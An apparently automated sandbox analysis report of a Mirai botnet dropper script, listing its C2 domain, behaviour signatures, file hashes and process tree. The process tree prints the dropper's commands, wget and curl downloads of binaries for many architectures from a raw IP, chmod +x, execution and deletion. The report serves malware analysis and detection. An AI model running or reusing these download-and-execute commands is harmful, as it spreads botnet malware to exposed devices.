Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/06/2026, 13:09

General

  • Target
    _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  • Size 2KB
  • Sample260620-qd2rpse19l
  • SHA256 cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • u87yy3f87b23f8293bfg83bgu94.bombamodzik.xyz

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
    /tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/wget
      wget http://176.65.139.195/nz/nz.x86
      2⤵
      • Writes file to tmp directory
      PID:663
    • /usr/bin/curl
      curl -O http://176.65.139.195/nz/nz.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:715
    • /bin/chmod
      chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.x86 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
      2⤵
      • File and Directory Permissions Modification
      PID:726
    • /tmp/nz.x86
      ./nz.x86 nz.x86
      2⤵
        PID:727
      • /bin/rm
        rm -rf nz.x86
        2⤵
          PID:729
        • /usr/bin/wget
          wget http://176.65.139.195/nz/nz.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /usr/bin/curl
          curl -O http://176.65.139.195/nz/nz.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:761
        • /bin/chmod
          chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.mips systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
          2⤵
          • File and Directory Permissions Modification
          PID:762
        • /tmp/nz.mips
          ./nz.mips nz.mips
          2⤵
          • System Network Configuration Discovery
          PID:763
        • /bin/rm
          rm -rf nz.mips
          2⤵
          • System Network Configuration Discovery
          PID:765
        • /usr/bin/wget
          wget http://176.65.139.195/nz/nz.arc
          2⤵
          • Writes file to tmp directory
          PID:766
        • /usr/bin/curl
          curl -O http://176.65.139.195/nz/nz.arc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:767
        • /bin/chmod
          chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arc systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
          2⤵
          • File and Directory Permissions Modification
          PID:768
        • /tmp/nz.arc
          ./nz.arc nz.arc
          2⤵
            PID:769
          • /bin/rm
            rm -rf nz.arc
            2⤵
              PID:771
            • /usr/bin/wget
              wget http://176.65.139.195/nz/nz.i468
              2⤵
                PID:772
              • /usr/bin/curl
                curl -O http://176.65.139.195/nz/nz.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:773
              • /bin/chmod
                chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i468 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                2⤵
                • File and Directory Permissions Modification
                PID:774
              • /tmp/nz.i468
                ./nz.i468 nz.i468
                2⤵
                  PID:775
                • /bin/rm
                  rm -rf nz.i468
                  2⤵
                    PID:776
                  • /usr/bin/wget
                    wget http://176.65.139.195/nz/nz.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /usr/bin/curl
                    curl -O http://176.65.139.195/nz/nz.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:778
                  • /bin/chmod
                    chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i686 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                    2⤵
                    • File and Directory Permissions Modification
                    PID:779
                  • /tmp/nz.i686
                    ./nz.i686 nz.i686
                    2⤵
                      PID:780
                    • /bin/rm
                      rm -rf nz.i686
                      2⤵
                        PID:782
                      • /usr/bin/wget
                        wget http://176.65.139.195/nz/nz.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:783
                      • /usr/bin/curl
                        curl -O http://176.65.139.195/nz/nz.x86_64
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:784
                      • /bin/chmod
                        chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.x86_64 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                        2⤵
                        • File and Directory Permissions Modification
                        PID:785
                      • /tmp/nz.x86_64
                        ./nz.x86_64 nz.x86_64
                        2⤵
                          PID:786
                        • /bin/rm
                          rm -rf nz.x86_64
                          2⤵
                            PID:788
                          • /usr/bin/wget
                            wget http://176.65.139.195/nz/nz.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:789
                          • /usr/bin/curl
                            curl -O http://176.65.139.195/nz/nz.mpsl
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:790
                          • /bin/chmod
                            chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.mpsl systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                            2⤵
                            • File and Directory Permissions Modification
                            PID:791
                          • /tmp/nz.mpsl
                            ./nz.mpsl nz.mpsl
                            2⤵
                              PID:792
                            • /bin/rm
                              rm -rf nz.mpsl
                              2⤵
                                PID:794
                              • /usr/bin/wget
                                wget http://176.65.139.195/nz/nz.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:795
                              • /usr/bin/curl
                                curl -O http://176.65.139.195/nz/nz.arm
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:796
                              • /bin/chmod
                                chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                2⤵
                                • File and Directory Permissions Modification
                                PID:797
                              • /tmp/nz.arm
                                ./nz.arm nz.arm
                                2⤵
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:798
                              • /bin/rm
                                rm -rf nz.arm
                                2⤵
                                  PID:806
                                • /usr/bin/wget
                                  wget http://176.65.139.195/nz/nz.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:807
                                • /usr/bin/curl
                                  curl -O http://176.65.139.195/nz/nz.arm5
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:808
                                • /bin/chmod
                                  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm5 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:809
                                • /tmp/nz.arm5
                                  ./nz.arm5 nz.arm5
                                  2⤵
                                    PID:810
                                  • /bin/rm
                                    rm -rf nz.arm5
                                    2⤵
                                      PID:811
                                    • /usr/bin/wget
                                      wget http://176.65.139.195/nz/nz.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:812
                                    • /usr/bin/curl
                                      curl -O http://176.65.139.195/nz/nz.arm6
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:813
                                    • /bin/chmod
                                      chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm6 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:814
                                    • /tmp/nz.arm6
                                      ./nz.arm6 nz.arm6
                                      2⤵
                                        PID:815
                                      • /bin/rm
                                        rm -rf nz.arm6
                                        2⤵
                                          PID:816
                                        • /usr/bin/wget
                                          wget http://176.65.139.195/nz/nz.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:817
                                        • /usr/bin/curl
                                          curl -O http://176.65.139.195/nz/nz.arm7
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:818
                                        • /bin/chmod
                                          chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm7 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:819
                                        • /tmp/nz.arm7
                                          ./nz.arm7 nz.arm7
                                          2⤵
                                          • Modifies Watchdog functionality
                                          • Writes file to system bin folder
                                          • Reads runtime system information
                                          PID:820
                                        • /bin/rm
                                          rm -rf nz.arm7
                                          2⤵
                                            PID:826
                                          • /usr/bin/wget
                                            wget http://176.65.139.195/nz/nz.ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:827
                                          • /usr/bin/curl
                                            curl -O http://176.65.139.195/nz/nz.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Writes file to tmp directory
                                            PID:828
                                          • /bin/chmod
                                            chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.ppc systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:829
                                          • /tmp/nz.ppc
                                            ./nz.ppc nz.ppc
                                            2⤵
                                              PID:830
                                            • /bin/rm
                                              rm -rf nz.ppc
                                              2⤵
                                                PID:832
                                              • /usr/bin/wget
                                                wget http://176.65.139.195/nz/nz.spc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:833
                                              • /usr/bin/curl
                                                curl -O http://176.65.139.195/nz/nz.spc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:834
                                              • /bin/chmod
                                                chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.spc systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:837
                                              • /tmp/nz.spc
                                                ./nz.spc nz.spc
                                                2⤵
                                                  PID:838
                                                • /bin/rm
                                                  rm -rf nz.spc
                                                  2⤵
                                                    PID:840
                                                  • /usr/bin/wget
                                                    wget http://176.65.139.195/nz/nz.m68k
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:841
                                                  • /usr/bin/curl
                                                    curl -O http://176.65.139.195/nz/nz.m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:844
                                                  • /bin/chmod
                                                    chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.m68k systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:845
                                                  • /tmp/nz.m68k
                                                    ./nz.m68k nz.m68k
                                                    2⤵
                                                      PID:846
                                                    • /bin/rm
                                                      rm -rf nz.m68k
                                                      2⤵
                                                        PID:848
                                                      • /usr/bin/wget
                                                        wget http://176.65.139.195/nz/nz.sh4
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:849
                                                      • /usr/bin/curl
                                                        curl -O http://176.65.139.195/nz/nz.sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:850
                                                      • /bin/chmod
                                                        chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.sh4 systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-E8puXW
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:851
                                                      • /tmp/nz.sh4
                                                        ./nz.sh4 nz.sh4
                                                        2⤵
                                                          PID:852
                                                        • /bin/rm
                                                          rm -rf nz.sh4
                                                          2⤵
                                                            PID:854

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

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                                                              Downloads

                                                              busybox

                                                              • Path /tmp/busybox
                                                              • Size 507KB
                                                              • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              nz.x86

                                                              • Path /tmp/nz.x86
                                                              • Size 38KB
                                                              • SHA256 c544eee59638d1d3441f2626e2023dfc92c7c44ed88bdb08bef0ea097eb8728f
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH